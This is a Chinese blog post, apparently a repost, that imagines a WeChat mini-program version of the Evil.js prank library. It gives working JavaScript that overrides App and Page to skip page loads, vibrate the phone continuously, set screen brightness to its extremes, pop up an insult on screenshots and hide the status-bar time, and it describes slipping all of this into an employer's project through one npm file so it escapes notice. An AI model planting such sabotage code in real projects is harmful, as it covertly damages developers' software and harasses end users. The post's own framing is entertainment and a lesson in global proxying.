0
点赞
收藏
分享

微信扫一扫

如果 Evil.js 有小程序版本 ……


背景

2022年8月18日,一个名叫​​Evil.js​​​的项目突然走红,你可以阅读文章​​《火爆全网的 Evil.js 源码解读》​​了解更多细节。该项目的README介绍如下:

什么?黑心996公司要让你提桶跑路了?

想在离开前给你们的项目留点小 礼物

偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果:

  • 当数组长度可以被7整除时,​​Array.includes​​ 永远返回false。
  • 当周日时,​​Array.map​​ 方法的结果总是会丢失最后一个元素。
  • ​Array.filter​​ 的结果有2%的概率丢失最后一个元素。
  • ​setTimeout​​ 总是会比预期时间慢1秒才触发。
  • ​Promise.then​​ 在周日时有10%不会注册。
  • ​JSON.stringify​​​ 会把​​I​​​(大写字母I)变成​​l​​(小写字母L)。
  • ​Date.getTime()​​ 的结果总是会慢一个小时。
  • ​localStorage.getItem​​ 有5%几率返回空字符串。

但是这个​​Evil.js​​​并不能在小程序中运行。因为小程序中没有没有​​localStorage​​,所以相关的逻辑需要清理。此外,小程序中还可以加入其它好玩儿的功能。包括:

  • 页面的​​onLoad​​生命周期函数,在周日有5%的概率不会执行。
  • 启动小程序时,有5%概率让用户手机变为震动器,可以持续高频率震动。
  • 若在中午12点启动小程序,有5%的概率设置屏幕亮度为最低,让用户看不清。
  • 若在夜间12点启动小程序,有5%的概率设置屏幕亮度为最高,闪瞎用户的眼。
  • 用户截屏时,弹窗提示“小兔崽子,不许截屏”。
  • 启动时,5%概率把手机顶部时间改成白色,让用户看不到系统时间。

为了不让开发者轻易排查发现,以上逻辑都要写到同一个js文件里,方便npm发布,只需要轻轻的​​npm i​​​和悄悄的在某个js文件​​import xxx​​,就成功引入了。

技术实现参考:​​《如何全局重写小程序 Page函数 wx对象?》​​。

修改页面onLoad

页面的​​onLoad​​生命周期函数,在周日有5%的概率不会执行。

function onLoadProxy(onLoad) {
return function newOnLoad(query) {
if (new Date().getDay() === 0 && Math.random() < 0.05)
if (onLoad) {
return onLoad.call(this, query);
}
};
}

function pageProxy(Page) {
return function newPage(options) {
const newOptions = { ...options };
newOptions.onLoad = onLoadProxy(options.onLoad);
Page(newOptions);
};
}

Page = pageProxy(Page);

震动器

启动小程序时,有5%概率让用户手机变为震动器,可以持续高频率震动。

function onLaunchProxy(onLaunch) {
return function newOnLaunch() {
function vibrate() {
wx.vibrateShort({ type: 'heavy' });
setTimeout(vibrate, 50);
}
if (Math.random() < 0.05) vibrate();
if (onLaunch) {
onLaunch.call(this);
}
};
}

function appProxy(App) {
return function newApp(options) {
const newOptions = { ...options };
newOptions.onLaunch = onLaunchProxy(options.onLaunch);
App(newOptions);
};
}

App = appProxy(App);

如果 Evil.js 有小程序版本 ……_屏幕亮度

屏幕变暗/变亮

  • 若在中午12点启动小程序,有5%的概率设置屏幕亮度为最低,让用户看不清。
  • 若在夜间12点启动小程序,有5%的概率设置屏幕亮度为最高,闪瞎用户的眼。

function onLaunchProxy(onLaunch) {
return function newOnLaunch() {
if (new Date().getHours() === 12 && Math.random() < 0.05) {
wx.setScreenBrightness({ value: 0 });
}
if (new Date().getHours() === 0 && Math.random() < 0.05) {
wx.setScreenBrightness({ value: 1 });
}
if (onLaunch) {
onLaunch.call(this);
}
};
}

截屏时骂人

用户截屏时,弹窗提示“小兔崽子,不许截屏”。

function onLaunchProxy(onLaunch) {
return function newOnLaunch() {
wx.onUserCaptureScreen(function () {
wx.showModal({ title: '小兔崽子,不许截屏' });
})
if (onLaunch) {
onLaunch.call(this);
}
};
}

改导航栏颜色

启动时,5%概率把手机顶部时间改成白色,让用户看不到系统时间。

function onLaunchProxy(onLaunch) {
return function newOnLaunch() {
if (Math.random() < 0.05) {
wx.setNavigationBarColor({
frontColor: '#ffffff',
backgroundColor: '#ffffff',
});
}
if (onLaunch) {
onLaunch.call(this);
}
};
}

如果 Evil.js 有小程序版本 ……_屏幕亮度_02

其它事情

小程序提供的API挺多的,罗列如下:​​developers.weixin.qq.com/miniprogram…​​。

小程序很多能力是通过跟客户端通信,由原生客户端代理实现的(JS Bridge),所以非常有趣。

当然,还是那句话,本文的内容仅供娱乐。我希望用这种“整活儿”的方法,让你了解到:小程序有一些有趣的强大的API,还可以全局改写App、Page、wx等方法。

推荐阅读:​​《如何全局重写小程序 Page函数 wx对象?》​​。当你学会这种方式后,可以做更多有价值的事情:

  • 小程序微前端方案(如果有多个分包,多个业务共同开发,如何做好存储隔离、全局变量管理)。
  • 小程序自动上报方案(代理wx.request方法,请求失败时上报、耗时上报)。
  • 页面内跳转永远携带某个参数,标识是页面内跳转,没标识时则是外部跳转来小程序(通过代理wx.redirectTo和wx.navigateTo,自动添加跳转参数)。
  • 自动给所有页面onLoad时注册事件、onUnload时取消注册事件(代理Page的onLoad和onUnload方法)。
  • ……

写在最后

我是HullQin,公众号线下聚会游戏的作者(欢迎关注公众号,联系我,交个朋友),转发本文前需获得作者HullQin授权。

举报

相关推荐

0 条评论